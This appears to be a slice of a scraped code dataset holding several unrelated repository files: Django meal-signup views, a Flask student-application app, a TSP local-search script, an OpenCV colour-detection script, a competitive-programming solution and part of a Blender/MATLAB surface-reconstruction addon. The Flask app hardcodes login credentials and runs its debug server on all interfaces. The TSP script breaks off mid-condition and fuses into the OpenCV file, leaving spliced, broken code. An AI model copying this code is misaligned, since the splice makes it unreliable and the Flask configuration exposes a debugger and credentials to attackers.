'travel.html', {\n\t\t'travel_from': travel_from\n\t})\n\n# date_choices = User.DATES_2014\n\n\n@login_required\ndef chef_cockpit(request, meal_id):\n\treturn HttpResponse(\"cockpit\")\n\n\n@login_required\ndef meal_signup(request):\n\texisting_signups = MealSignup.objects.filter(user=request.user)\n\tinitial = {}\n\tfor signup in existing_signups:\n\t\tfield_name = forms.MealSignups.field_name_for(signup.meal, signup.position)\n\t\tinitial[field_name] = True\n\n\t# initial should include previous signups.\n\t#initial = User_Meals.objects.filter(user=request.user)\n\t# e.g. initial = {'sous_aug_20_am': True}\n\t# to match the form field\n\n\tform = forms.MealSignups(request.user, initial=initial)\n\tif request.method == 'POST':\n\t\tform = forms.MealSignups(request.user, request.POST, initial=initial)\n\t\tif form.is_valid():\n\t\t\tform.save(request.user, existing_signups)\n\n\n\treturn render(request, 'meal_signup.html', {'form': form})\n\n\n# def meals(request):\n# \tdate_choices = User.DATES_2014 \n# \tmeals1 = forms.Meals()\n\t#display all dates\n\t# if request.method == \"POST\":\n\t# \tmeals = forms.Meals(request.POST)\n\t# if request.method == \"GET\":\n\t# #just render the form\n\t# # get form from forms\n\t# # form = forms.Meals().getForm()\n\t# #below listed dates successfully.\n\t# \treturn render_to_response('meals.html', {'date_choices': date_choices})\n\t# #else:\n\t# #old method below. \n\t# if request.method == \"POST\":\n\t# \tform = Meals(request.POST)\n\t# \tif form.is_valid():\n\t# \t\tshifts = form.cleaned_data['shifts']\n\t# \t\tmeals = form.cleaned_data['meals']\n\t# \t\tdates = form.cleaned_data['']\n\n\n\t# \t\tmodel_instance.save()\n\t# \t\treturn redirect('your data has been saved')\n\t# return render(request 'meals.html', {'form': form,\n\t# \t})\n\n\n# #class based view \n# class MyView(View):\n\n# \tdef get(self, request, *args, **kwargs):\n# \t\treturn HttpResponse(\"Hello, World\")\n\n# #for listing contacts\n# class ListContactView(ListView):\n# \tmodel = Contact \n# \ttemplate_name = 'contact_list.html'\n\n# #adding info to database\n# class CreateContactView(CreateView):\n\n# \tmodel = Contact\n# \ttemplate_name = 'edit_contact.html'\n# \t#tells view to use extra field in forms.py\n# \tform_class = forms.ContactForm\n\n# \tdef get_success_url(self):\n# \t\treturn reverse('contacts-list')\n# #information about where the formshould redirect to the context\n\n# \tdef get_context_data(self, **kwargs):\n\n# \t\tcontext = super(CreateContactView, self).get_context_data(**kwargs)\n# \t\tcontext['action'] = reverse('contacts-new')\n\n# \t\treturn context\n\n# class ContactListViewTest(TestCase):\n\n# \tdef test_contacts_in_the_context(self):\n\n# \t\tclient = Client()\n# \t\tresponse = client.get('/')\n\n# \t\tself.assertEquals(list(response.context['object_list']), [])\n\n# \t\tContact.objects.create(first_name='foo', last_name='bar')\n# \t\tresponse = client.get('/')\n# \t\tself.assertEquals(response.context['object_list'].count(), 1)\n\n# \tdef test_contacts_in_the_context_request_factory(self):\n\n# \t\tfactory = RequestFactory()\n# \t\trequest = factory.get('/')\n\n# \t\tresponse = ListContactView.as_view()(request)\n\n# \t\tself.assertEquals(list(response.context_data['object_list']), [])\n\n# \t\tContact.objects.create(first_name = 'foo', last_name='bar')\n# \t\tresponse = ListContactView.as_view()(request)\n# \t\tself.assertEquals(response.context_data['object_list'].count(), 1)\n\n# class ContactListIntegrationTests(LiveServerTestCase):\n\n# \t@classmethod\n# \tdef setUpClass(cls):\n# \t\tcls.selenium = WebDriver()\n# \t\tsuper(ContactListIntegrationTests, cls).setUpClass()\n\n# \t@classmethod\n# \tdef tearDownClass(cls):\n# \t\tcls.selenium.quit()\n# \t\tsuper(ContactListIntegrationTests, cls).tearDownClass()\n\n# \tdef test_contact_listed(self):\n# \t\t#create test contact\n# \t\tContact.objects.create(first_name='foo', last_name='bar')\n# \t\t#make sure it's listed as on the list\n# \t\tself.selenium.get('%s%s' %(self.live_server_url, '/'))\n# \t\tself.assertEqual(\n# \t\t\tself.selenium.find_elements_by_css_selector('contact')['0'].text, 'foo.bar'\n# \t\t\t)\n# \tdef test_add_contact(self):\n\n\n# \t\tself.selenium.find_element_by_link_text('add contact').click()\n\n# \t\tself.selenium.find_element_by_id('id_first_name').send_keys('test')\n# \t\tself.selenium.find_element_by_id('id_last_name').send_keys('contact')\n# \t\tself.selenium.find_element_by_id('id_email').send_keys('test@example.com')\n\n# \t\tself.selenium.find_element_by_id(\"save_contact\").click()\n# \t\tself.assertEqual(\n# \t\tself.selenium.find_elements_by_css_selector('.contact')[-1].text,'test contact'\n# \t\t)\n\n# #allows us to edit contacts\n# class UpdateContactView(UpdateView):\n# \tmodel = Contact\n# \ttemplate_name = 'edit_contact.html'\n# \t#references forms.py\n# \tform_class = forms.ContactForm\n\n# \tdef get_success_url(self):\n# \t\treturn reverse('contacts-list')\n\n# \tdef get_context_data(self, **kwargs):\n\n# \t\tcontext = super(UpdateContactView, self).get_context_data(**kwargs)\n# \t\tcontext['action'] = reverse('contacts-edit',\n# \t\t\tkwargs= {'pk': self.get_object().id})\n\n# \t\treturn context\n\n# class DeleteContactView(DeleteView):\n\n# model = Contact\n# template_name = 'delete_contact.html'\n\n# def get_success_url(self):\n# return reverse('contacts-list')\n\n\n# class ContactView(DetailView):\n\n# \tmodel = Contact\n# \ttemplate_name = 'contact.html'\n\n# class Contact(models.Model):\n\n# \tdef get_absolute_url(self):\n\n# \t\treturn reverse(\"contacts-view\", kwargs={'pk':self.id})\n\n# class EditContactAddressView(UpdateView):\n\n# \tmodel = Contact\n# \ttemplate_name = 'edit_addresses.html'\n# \tform_class = forms.ContactAddressFormSet\n\n# \tdef get_success_url(self):\n# \t\t# redirect to the Contact view.\n# \t\treturn self.get_object().get_absolute_url()\n\n","repo_name":"beckastar/bioluminati","sub_path":"biocore/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"26374146514","text":"from flask import Flask, render_template, request\n\napp = Flask(__name__)\n\n@app.route('/')\ndef main():\n return render_template('main.html')\n\n@app.route('/login', methods = ['GET', 'POST'])\ndef login():\n error=None\n if request.method == 'POST':\n if request.form['username'] != 'ossp' or request.form['password'] != 'ossp1234':\n error= '회원정보 입력이 잘못되었습니다. 다시 시도하세요.'\n else:\n return render_template(\"application_form.html\")\n return render_template('login.html',error = error)\n\n\n@app.route('/application_form', methods = ['POST', 'GET'])\ndef apply():\n if request.method == 'POST':\n apply = dict()\n apply['Name'] = request.form.get('Name')\n apply['StudentNumber'] = request.form.get('StudentNumber')\n apply['Major'] = request.form.get('Major')\n apply['Location'] = request.form.get('Location')\n apply['Date'] = request.form.get('Date')\n apply['Comment'] = request.form.get('Comment')\n return render_template(\"application_form.html\",apply = apply)\n\n@app.route('/submit', methods = ['POST', 'GET'])\ndef submit():\n uName = request.form.get('Name')\n uStudentNumber = request.form.get('StudentNumber')\n uMajor = request.form.get('Major')\n uLocation = request.form.get('Location')\n uDate = request.form.get('Date')\n uComment = request.form.get('Comment')\n \n return render_template(\"submit.html\",uName = uName, uStudentNumber = uStudentNumber, uMajor = uMajor, uLocation = uLocation, uDate = uDate, uComment = uComment)\n\nif __name__ == '__main__':\n app.run(host=\"0.0.0.0\", debug=True, port=80)\n","repo_name":"CSID-DGU/2021-2-OSSprac-project2-4-JiwooKids","sub_path":"app/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40141162948","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Oct 22 13:07:21 2021\r\n\r\n@author: zongsing.huang\r\n\"\"\"\r\n\r\nimport itertools\r\n\r\nimport numpy as np\r\n\r\n#%% 題庫\r\nbenchmark = np.array([[ 0, 19, 92, 29, 49, 78, 6],\r\n [19, 0, 21, 85, 45, 16, 26],\r\n [92, 21, 0, 24, 26, 87, 47],\r\n [29, 85, 24, 0, 76, 17, 8],\r\n [49, 45, 26, 76, 0, 90, 27],\r\n [78, 16, 87, 17, 90, 0, 55],\r\n [ 6, 26, 47, 8, 27, 55, 0]])\r\n\r\n#%% 函數定義\r\ndef fitness(X, benchmark):\r\n if X.ndim==1:\r\n X = X.reshape(1, -1)\r\n \r\n P = X.shape[0]\r\n D = X.shape[1]\r\n F = np.zeros(P)\r\n \r\n for i in range(P):\r\n X_new = np.append(X[i], X[i, 0])\r\n \r\n for j in range(D):\r\n st = X_new[j].astype(int)\r\n ed = X_new[j+1].astype(int)\r\n F[i] += benchmark[st, ed]\r\n \r\n return F\r\n\r\ndef swap(X):\r\n D = X.shape[0]\r\n idx = np.arange(D)\r\n comb = list(itertools.combinations(idx, 2))\r\n X_new = np.zeros([len(comb), D])\r\n \r\n for i, (j, k) in enumerate(comb):\r\n X_new[i] = X.copy()\r\n X_new[i, j], X_new[i, k] = X_new[i, k], X_new[i, j]\r\n \r\n return X_new\r\n#%% 參數設定\r\nD = benchmark.shape[1] # 維度\r\nrho_max = 10\r\n\r\n#%% 初始化\r\nX = np.random.choice(D, size=D, replace=False) # 初始解\r\nF = fitness(X, benchmark) # 初始適應值\r\n\r\nrho = 1\r\nwhile rho<=rho_max:\r\n # 更新\r\n X_set = swap(X)\r\n \r\n # 適應值計算\r\n F_set = fitness(X_set, benchmark)\r\n \r\n # 取得X_new\r\n idx = F_set.argmin()\r\n X_new = X_set[idx]\r\n F_new = F_set[idx]\r\n \r\n # 更新X\r\n if F_new 0:\r\n c = max(cnts, key=cv2.contourArea)\r\n ((x, y), radius) = cv2.minEnclosingCircle(c)\r\n center = (int(x), int(y))\r\n radius = int(radius)\r\n img = cv2.circle(img, center, radius, (255, 0, 0), 3)\r\n cv2.imshow(\"kq\",img)\r\n\r\n# ảnh đầu vào\r\nimg = cv2.imread(\"E:\\Download_Anh\\anhCaChua1.jpg\")\r\nhsv_img = cv2.cvtColor(img, cv2.COLOR_BGR2HSV) # chuyển sang màu HSV\r\n\r\n# các ngưỡng màu\r\nmin_mau_r1 = np.array([0,100,100]) # red1\r\nmax_mau_r1 = np.array([10, 255, 255])\r\n\r\nmin_mau_r2 = np.array([150, 100, 100]) # red2\r\nmax_mau_r2 = np.array([179, 105, 100])\r\n\r\nmin_mau_g = np.array([40, 100, 100]) # green\r\nmax_mau_g = np.array([90, 255, 255])\r\n\r\nmin_mau_y = np.array([15, 100, 100]) # yellow\r\nmax_mau_y = np.array([50, 255, 255])\r\n\r\n# tạo các lớp mặt nạ để tách màu\r\nmask_r1 = cv2.inRange(hsv_img, min_mau_r1, max_mau_r1)\r\nmask_r2 = cv2.inRange(hsv_img, min_mau_r2, max_mau_r2)\r\n\r\nmask_r = cv2.bitwise_or(mask_r1,mask_r1)\r\n\r\ncv2.imshow(\"anh\",mask_r)\r\n\r\nmask_g = cv2.inRange(hsv_img, min_mau_g, max_mau_g)\r\n\r\nmask_y = cv2.inRange(hsv_img, min_mau_y, max_mau_y)\r\n\r\nfinal_g = cv2.bitwise_and(img,img,mask=mask_g)\r\n\r\nfinal_r = cv2.bitwise_and(img,img, mask=mask_r)\r\n\r\nfinal_y = cv2.bitwise_and(img,img, mask=mask_y)\r\n\r\n\r\nif np.any(final_r):\r\n print(\"1\")\r\n drawing(final_r)\r\nif np.any(final_g):\r\n print(\"2\")\r\n drawing(final_g)\r\nif np.any(final_y):\r\n print(\"3\")\r\n drawing(final_y)\r\n\r\ncv2.waitKey(0)","repo_name":"HuYingTran/Python-Opencv","sub_path":"loc1.py","file_name":"loc1.py","file_ext":"py","file_size_in_byte":2004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"9395794500","text":"import sys\r\nn,k,b = map(int,sys.stdin.readline().split())\r\nv = [0 for _ in range(n+1)]\r\nfor i in range(b) : v[int(sys.stdin.readline().rstrip())] = 1\r\nb_cnt = 0\r\nl,r,ans = 1,1,9876543210\r\n\r\nfor i in range(1,k+1) :\r\n if v[i] == 1 :\r\n b_cnt +=1\r\n r = i\r\nans = min(ans,b_cnt)\r\nfor i in range(k+1, n+1) :\r\n r += 1\r\n if r >= n+1 :\r\n break\r\n if v[r] == 1 :b_cnt +=1\r\n if v[l] == 1 :b_cnt -=1\r\n l +=1\r\n ans = min(ans,b_cnt)\r\n\r\nprint(ans)","repo_name":"chickenchickenlove/BOJ-Algorithm","sub_path":"BOJ_백준 알고리즘/14465_소가 길을 건너간 이유 5.py","file_name":"14465_소가 길을 건너간 이유 5.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1015519141","text":"bl_info = {\n \"name\": \"PMLS\",\n \"description\": \"Surface reconstruction from DistoX data.\",\n \"author\": \"Attila Gati, et al.\",\n \"version\": (0, 82),\n \"blender\": (2, 65, 0),\n \"location\": \"View3D\",\n \"warning\": \"\", # used for warning icon and text in addons panel\n \"support\": \"COMMUNITY\",\n \"category\": \"3D View\"\n }\n\n\n\n\nimport bpy\nimport bmesh\nfrom bpy.app.handlers import persistent\nimport os\nimport io\nimport collections\n\nimport importlib.util\nimport sys\n\nname = 'pmlslib'\n\nspec = importlib.util.find_spec(name)\npmlslib_module = None\nif spec is not None:\n # If you chose to perform the actual import ...\n pmlslib_module = importlib.util.module_from_spec(spec)\n spec.loader.exec_module(pmlslib_module)\n # Adding the module to sys.modules is optional.\n sys.modules[name] = pmlslib_module\n pmlslib = pmlslib_module\n\nimport matlab\n\nif importlib.util.find_spec('engine', 'matlab') is not None:\n import matlab.engine\n\nclass PmlsObjectType(type):\n def __init__(cls, *args, **kwargs):\n# print(cls)\n# print(cls.pmls_type)\n if cls.pmls_type:\n cls.PmlsObjectDictionary[cls.pmls_type] = cls \n return super().__init__(*args, **kwargs)\n \nclass PmlsObjectBase( metaclass=PmlsObjectType ):\n PmlsObjectDictionary = {}\n pmls_type = None\n\n @staticmethod\n def type_str( bpyobj ):\n if ('pmls_type' in bpyobj.keys()):\n return bpyobj['pmls_type']\n else:\n return None\n \n @classmethod\n def pmls_type_check( cls, bpyobj ):\n typestr = cls.type_str( bpyobj ) \n return typestr and cls.pmls_type and typestr == cls.pmls_type\n \n @classmethod\n def pmls_get_type( cls, bpyobj ):\n typestr = cls.type_str( bpyobj ) \n if typestr and typestr in cls.PmlsObjectDictionary:\n return cls.PmlsObjectDictionary[typestr]\n return None\n \nclass PmlsObject(PmlsObjectBase):\n @staticmethod\n def tr_default( obj ):\n if obj is None:\n return bpy.context.active_object\n else:\n return obj\n \n def __bool__(self):\n# print( \"Object::bool called\" )\n return bool( self.object )\n \n def clear(self, objdata_too=True):\n bm = self.get_bmesh()\n bm.clear()\n bmesh.update_edit_mesh(self.object.data)\n if objdata_too:\n self._clear_objdata()\n \n \n def NullInit(self):\n self.object = None\n \n def delete_object(self):\n obj = self.object\n if bpy.ops.object.mode_set.poll():\n bpy.ops.object.mode_set()\n bpy.ops.object.select_all(action='DESELECT')\n obj.hide = False\n obj.select = True\n bpy.ops.object.delete()\n self.NullInit()\n \n \n def update_from_matlab(self, mobj):\n t1 = type(self)\n t2 = PmlsObjectBase.pmls_get_type(mobj)\n b = issubclass(t2,t1)\n self.clear(not b)\n obj = self.object\n self.NullInit()\n obj[\"pmls_type\"] = PmlsObjectBase.type_str(mobj)\n pmls_obj = PmlsObject(obj)\n pmls_obj._init_from_matlab(mobj)\n return pmls_obj \n \n def __init__( self, bpyobj = None ):\n# print( \"Object::__init__ called\" )\n bpyobj = PmlsObject.tr_default( bpyobj )\n if (type(bpyobj) is bpy.types.Object) and (bpyobj.type == \"MESH\"):\n self.object = bpyobj\n else:\n self._init_from_matlab(bpyobj)\n self.object[\"pmls_type\"] = self.pmls_type\n \n \n def __new__(cls, bpyobj = None):\n# print( 'Obj: ' + str(cls) )\n bpyobj = cls.tr_default(bpyobj)\n if cls.pmls_type_check( bpyobj ):\n pobj = PmlsObjectBase.__new__( cls )\n pobj.NullInit()\n return pobj\n ncls = cls.pmls_get_type( bpyobj )\n if ncls is not None:\n return PmlsObject.__new__( ncls, bpyobj )\n\n @classmethod\n def add_mesh(cls, vt, edges, faces, obj):\n selvt = vt.get(\"selvt\")\n return PmlsEngine.add_mesh( vt[\"pmls_name\"], vt[\"vt\"], edges, faces, obj, selvt )\n \n @staticmethod\n def get_selected_objects():\n return [PmlsObject(o) for o in bpy.context.selected_objects \n if pmls_is_pmlsobj(o) and (pmls_is_deform_mesh(o) or not(o.parent and pmls_is_deform_mesh(o.parent)))]\n \n \n def set_active(self):\n obj = self.object\n aobj = bpy.context.active_object\n if aobj is None or obj.name != aobj.name:\n if bpy.ops.object.mode_set.poll():\n bpy.ops.object.mode_set()\n bpy.ops.object.select_all(action='DESELECT')\n obj.hide = False\n obj.select = True\n bpy.context.scene.objects.active = obj\n if bpy.ops.object.mode_set.poll():\n bpy.ops.object.mode_set()\n bpy.ops.object.select_all(action='DESELECT')\n obj.hide = False\n obj.select = True\n \n \n def set_object_mode(self):\n self.set_active()\n bpy.ops.object.mode_set(mode='OBJECT')\n\n def set_edit_mode(self):\n self.set_active()\n bpy.ops.object.mode_set(mode='EDIT')\n \n def is_parent_of(self, child):\n if not isinstance(child, PmlsObject):\n return False\n return child.object.parent and child.object.parent.name == self.object.name\n \n def parent_clear(self):\n if self.object.parent:\n self.object.hide = False\n self.object.select = True\n bpy.context.scene.objects.active = self.object\n bpy.ops.object.duplicate(linked=True)\n bpy.ops.object.parent_clear(type='CLEAR_KEEP_TRANSFORM')\n self.object.hide = True\n self.object.select = False\n obj = PmlsObject(bpy.context.scene.objects.active)\n obj.object.select = False\n return obj\n return self \n \n \n def get_bmesh(self):\n obj = self.object\n# aobj = bpy.context.active_object\n# if aobj is None or obj.name != aobj.name:\n# if bpy.ops.object.mode_set.poll():\n# bpy.ops.object.mode_set()\n# bpy.ops.object.select_all(action='DESELECT')\n# obj.hide = False\n# obj.select = True\n# bpy.context.scene.objects.active = obj\n self.set_active()\n bpy.ops.object.mode_set(mode='EDIT')\n me = obj.data\n return bmesh.from_edit_mesh( me )\n \n @staticmethod\n def _mvt_to_py(mobj):\n mvt = mobj[\"vt\"]\n vt = [];\n vt.extend([(p[0], p[1], p[2]) for p in mvt])\n selvt = mobj.get(\"selvt\")\n if selvt:\n if not isinstance(selvt, collections.Iterable):\n selvt = [[selvt]]\n return {\"vt\" : vt, \"pmls_name\" : mobj[\"pmls_name\"], \"selvt\" : [v[0] for v in selvt]}\n else:\n return {\"vt\" : vt, \"pmls_name\" : mobj[\"pmls_name\"]}\n\n @staticmethod\n def _medges_to_py(mobj):\n medges = mobj[\"edges\"]\n edges = []\n edges.extend([(e[0], e[1]) for e in medges])\n return edges\n\n @staticmethod\n def _mfaces_to_py(mobj):\n mfaces = mobj[\"tris\"]\n faces = []\n faces.extend([(f[0], f[1], f[2]) for f in mfaces])\n return faces\n\n @classmethod\n def is_hedgehog(cls):\n return False\n\n @classmethod\n def is_mesh(cls):\n return False\n \nclass PmlsMesh(PmlsObject):\n pmls_type = \"mesh\"\n\n def _init_from_matlab(self, mobj):\n ob = self.add_mesh( self._mvt_to_py(mobj), [], self._mfaces_to_py(mobj), self.object );\n self.object = ob\n\n def _to_matlab(self, bm):\n S = {}\n S[\"verts\"] = matlab.double([list(v.co) for v in bm.verts])\n S[\"tris\"] = matlab.int32([[v.index for v in f.verts] for f in bm.faces])\n return S\n \n def _to_matlab_skeleton(self):\n S = {};\n S[\"verts\"] = matlab.double(size=(1,0))\n S[\"tris\"] = matlab.int32(size=(1,0))\n S[\"pmls_type\"] = self.pmls_type\n S[\"pmls_name\"] = self.object.name\n return S\n \n \n def to_matlab(self):\n self.set_edit_mode()\n bpy.ops.mesh.select_all(action=\"DESELECT\")\n bpy.ops.mesh.select_face_by_sides(number=3, type='GREATER', extend=False)\n bpy.ops.mesh.quads_convert_to_tris()\n bpy.ops.mesh.select_all(action=\"DESELECT\")\n self.set_object_mode()\n vertices = self.object.data.vertices\n faces = self.object.data.polygons\n S = {};\n n = len(vertices)\n mvt = matlab.double(size=(1,3*n))\n vertices.foreach_get('co', mvt[0])\n mvt.reshape((3,n))\n S[\"verts\"] = mvt\n n = len(faces)\n mtris = matlab.int32(size=(1,3*n))\n faces.foreach_get('vertices', mtris[0])\n mtris.reshape((3,n))\n S[\"tris\"] = mtris\n S[\"pmls_type\"] = self.pmls_type\n S[\"pmls_name\"] = self.object.name\n return S\n# return self._to_matlab(bm) \n \n def advance(self, hedg, anchors):\n obj = self.object\n obj[\"pmls_type\"] = PmlsDeformMesh.pmls_type\n obj = PmlsObject(obj)\n if obj:\n obj.set_children(hedg, anchors)\n return obj\n\n @classmethod\n def is_mesh(cls):\n return True\n \n @classmethod\n def _get_loop(cls, vs):\n loop=[]\n if not vs:\n return loop\n v1 = vs[0]\n es = [e for e in v1.link_edges if e.select]\n if not es:\n raise Exception('Bad selecting!')\n v2 = es[0].other_vert(v1)\n loop = [v1,v2]\n vstart = v1;\n while True:\n es = [e for e in v2.link_edges if e.select]\n if not es:\n raise Exception('Bad selecting!')\n vs = [e.other_vert(v2) for e in es if e.other_vert(v2) not in loop ]\n if not vs:\n vs = [e.other_vert(v2) for e in es if e.other_vert(v2) in loop and e.other_vert(v2) != v1]\n if len(vs) != 1 or vs[0] != vstart:\n raise Exception('Bad selecting!')\n return loop\n if len(vs) > 1: \n raise Exception('Bad selecting!')\n v1 = v2\n v2 = vs[0]\n loop.append(v2)\n\n \n def get_selected_loops(self):\n bm = self.get_bmesh()\n vs = [v for v in bm.verts if v.select]\n if not vs:\n raise Exception('Bad selecting!')\n loops = []\n while vs:\n loop = self._get_loop(vs)\n vs = list(set(vs) - set(loop))\n loops.append(matlab.int32([v.index + 1 for v in loop]))\n return loops \n \nclass PmlsDeformMesh(PmlsMesh):\n pmls_type = \"deform_mesh\"\n \n def set_children(self, hedgehog, anchor):\n H = self.hedgehog()\n if hedgehog and H and H.object.name != hedgehog.object.name:\n H.delete_object()\n H = self.anchor()\n if anchor and H and H.object.name != anchor.object.name:\n H.delete_object()\n obj = self.object\n aobj = bpy.context.active_object\n if aobj is None or obj.name != aobj.name:\n if bpy.ops.object.mode_set.poll():\n bpy.ops.object.mode_set()\n bpy.ops.object.select_all(action='DESELECT')\n bpy.context.scene.objects.active = obj\n obj.hide = False\n obj.select = True\n if bpy.ops.object.mode_set.poll():\n bpy.ops.object.mode_set()\n bpy.ops.object.select_all(action='DESELECT')\n if hedgehog and not self.is_parent_of(hedgehog):\n hedgehog = hedgehog.parent_clear()\n if anchor and not self.is_parent_of(anchor):\n anchor = anchor.parent_clear()\n# if hedgehog and hedgehog.object.parent:\n# hedgehog.object.hide = False\n# hedgehog.object.select = True\n# bpy.context.scene.objects.active = hedgehog.object\n# bpy.ops.object.duplicate(linked=True)\n# bpy.ops.object.parent_clear(type='CLEAR_KEEP_TRANSFORM')\n# hedgehog.object.hide = True\n# hedgehog.object.select = False\n# hedgehog = PmlsObject(bpy.context.scene.objects.active) \n# if anchor and anchor.object.parent:\n# anchor.object.hide = False\n# anchor.object.select = True\n# bpy.context.scene.objects.active = anchor.object\n# bpy.ops.object.duplicate(linked=True)\n# bpy.ops.object.parent_clear(type='CLEAR_KEEP_TRANSFORM') \n# anchor.object.select = False\n# anchor = PmlsObject(bpy.context.scene.objects.active) \n bpy.context.scene.objects.active = obj \n if hedgehog:\n hedgehog.object.select = True\n if anchor:\n anchor.object.select = True\n bpy.ops.object.parent_set()\n if hedgehog:\n hedgehog.object.select = False\n hedgehog.object.hide = True\n if anchor:\n anchor.object.select = False\n anchor.object.hide = True\n \n \n\n \n \n def _init_from_matlab(self, mobj):\n super()._init_from_matlab(mobj)\n self.set_edit_mode()\n obj = self.object\n I = obj.vertex_groups.get(\"anchor\")\n if I:\n bpy.ops.object.vertex_group_set_active(group=\"anchor\")\n bpy.ops.object.vertex_group_lock(action='UNLOCK')\n NI = mobj.get(\"anchor_i\")\n if I:\n if NI:\n bpy.ops.object.vertex_group_remove_from(use_all_verts=True)\n I.add(NI, 1.0, 'REPLACE')\n else:\n bpy.ops.object.vertex_group_remove()\n I = None\n elif NI:\n I = obj.vertex_groups.new(\"anchor\")\n I.add(NI, 1.0, 'REPLACE')\n if I:\n bpy.ops.object.vertex_group_lock(action='LOCK')\n\n\n H = self.hedgehog()\n NH = mobj.get(\"hedgehog\")\n if H:\n if NH:\n if pmls_is_pmlsobj(NH):\n if NH.name != H.object.name:\n H.delete_object()\n NH = PmlsObject(NH)\n else:\n NH = H\n else:\n NH = H.update_from_matlab(NH)\n elif NH is not None:\n NH = H\n elif NH:\n NH = PmlsObject(NH)\n A = self.anchor()\n NA = mobj.get(\"anchor\")\n if A:\n if NA:\n if pmls_is_pmlsobj(NA):\n if NA.name != A.object.name:\n A.delete_object()\n NA = PmlsObject(NA)\n else:\n NA = A\n else:\n NA = A.update_from_matlab(NA)\n elif NA is not None:\n NA = A\n elif NA:\n NA = PmlsObject(NA)\n \n \n self.set_children(NH, NA)\n \n def complete_matlab_data(self, T):\n NH = T.get(\"hedgehog\")\n if not NH and NH is not None:\n H = self.hedgehog()\n if H:\n T[\"hedgehog\"] = H.object\n NA = T.get(\"anchor\")\n if not NA and NA is not None:\n A = self.anchor()\n if A:\n T[\"anchor\"] = A.object\n return T\n \n\n \n def hedgehog(self):\n for H in self.object.children:\n ot = PmlsObject.pmls_get_type(H)\n if ot and ot.is_hedgehog():\n return PmlsObject(H)\n\n def anchor(self):\n for H in self.object.children:\n ot = PmlsObject.pmls_get_type(H)\n if ot and ot.is_mesh():\n return PmlsObject(H)\n \n\n \n def to_matlab(self, only_anchors=False, no_hedgehog=False, no_anchor=False):\n if not only_anchors:\n S = super().to_matlab()\n else:\n S = self._to_matlab_skeleton()\n self.set_object_mode()\n obj = self.object\n if not no_anchor and \"anchor\" in obj.vertex_groups.keys():\n vg = obj.vertex_groups[\"anchor\"].index\n S['anchor_i'] = matlab.int32([v.index + 1 for v in obj.data.vertices if vg in [g.group for g in v.groups]])\n if not no_hedgehog:\n H = self.hedgehog()\n if H:\n S[\"hedgehog\"] = H.to_matlab()\n H.object.select = False\n H.object.hide = True\n if not no_anchor:\n H = self.anchor()\n if H:\n S[\"anchor\"] = H.to_matlab()\n H.object.select = False\n H.object.hide = True\n return S\n \n def _split_complicated(self):\n bpy.ops.object.mode_set()\n bpy.ops.object.select_all(action=\"DESELECT\")\n bpy.ops.object.mode_set(mode=\"EDIT\")\n if \"tmp\" in self.object.vertex_groups.keys():\n bpy.ops.object.vertex_group_set_active(group=\"tmp\")\n bpy.ops.object.vertex_group_remove()\n self.object.vertex_groups.new(name=\"tmp\")\n bpy.ops.object.vertex_group_assign() \n bpy.ops.mesh.duplicate()\n bpy.ops.mesh.separate()\n# bpy.ops.object.vertex_group_assign() \n bpy.ops.mesh.select_all(action=\"DESELECT\")\n obj = bpy.context.selected_objects[0]\n obj.name = \"selector\"\n bpy.ops.object.mode_set()\n bpy.context.scene.objects.active = obj\n bpy.ops.object.mode_set(mode=\"EDIT\")\n bpy.ops.mesh.select_all(action=\"SELECT\")\n bpy.ops.mesh.region_to_loop()\n bpy.ops.mesh.fill()\n bpy.ops.mesh.select_all(action=\"SELECT\")\n bpy.ops.mesh.normals_make_consistent()\n# bpy.ops.mesh.select_all(action=\"DESELECT\")\n# bpy.ops.mesh.select_face_by_sides(number=3, type='GREATER', extend=False)\n# bpy.ops.mesh.quads_convert_to_tris()\n bpy.ops.object.mode_set()\n bpy.ops.object.select_all(action=\"DESELECT\")\n obj[\"pmls_type\"] = \"mesh\"\n mobj = self.to_matlab()\n data = PmlsEngine.split_complicated(mobj, PmlsObject(obj).to_matlab())\n bpy.ops.object.mode_set()\n bpy.ops.object.select_all(action=\"DESELECT\")\n bpy.context.scene.objects.active = obj\n obj.select = True\n bpy.ops.object.delete()\n bpy.context.scene.objects.active = self.object\n bpy.ops.object.mode_set(mode=\"EDIT\")\n bpy.ops.object.vertex_group_select() \n bpy.ops.object.vertex_group_remove()\n \n return data\n \n def _split_simple(self):\n bpy.ops.object.mode_set()\n bpy.ops.object.select_all(action=\"DESELECT\")\n bpy.ops.object.mode_set(mode=\"EDIT\")\n if \"tmp\" in self.object.vertex_groups.keys():\n bpy.ops.object.vertex_group_set_active(group=\"tmp\")\n bpy.ops.object.vertex_group_remove()\n# self.object.vertex_groups.new(name=\"tmp\")\n# bpy.ops.object.vertex_group_assign()\n \n self.set_object_mode()\n bpy.ops.object.duplicate()\n \n bpy.ops.object.mode_set(mode=\"EDIT\")\n bpy.ops.mesh.separate()\n\n obj1 = bpy.context.selected_objects[0]\n obj2 = bpy.context.selected_objects[1]\n \n obj1.name = \"selector1\"\n bpy.ops.object.mode_set()\n bpy.context.scene.objects.active = obj1\n bpy.ops.object.mode_set(mode=\"EDIT\")\n bpy.ops.mesh.select_all(action=\"SELECT\")\n bpy.ops.mesh.region_to_loop()\n bpy.ops.mesh.fill()\n bpy.ops.mesh.select_all(action=\"SELECT\")\n bpy.ops.mesh.normals_make_consistent()\n bpy.ops.object.mode_set()\n bpy.ops.object.select_all(action=\"DESELECT\")\n obj1[\"pmls_type\"] = \"mesh\"\n obj2.name = \"selector2\"\n bpy.ops.object.mode_set()\n bpy.context.scene.objects.active = obj2\n bpy.ops.object.mode_set(mode=\"EDIT\")\n bpy.ops.mesh.select_all(action=\"SELECT\")\n bpy.ops.mesh.region_to_loop()\n bpy.ops.mesh.fill()\n bpy.ops.mesh.select_all(action=\"SELECT\")\n bpy.ops.mesh.normals_make_consistent()\n bpy.ops.object.mode_set()\n bpy.ops.object.select_all(action=\"DESELECT\")\n obj2[\"pmls_type\"] = \"mesh\"\n \n mobj = self.to_matlab(True)\n obj1 = 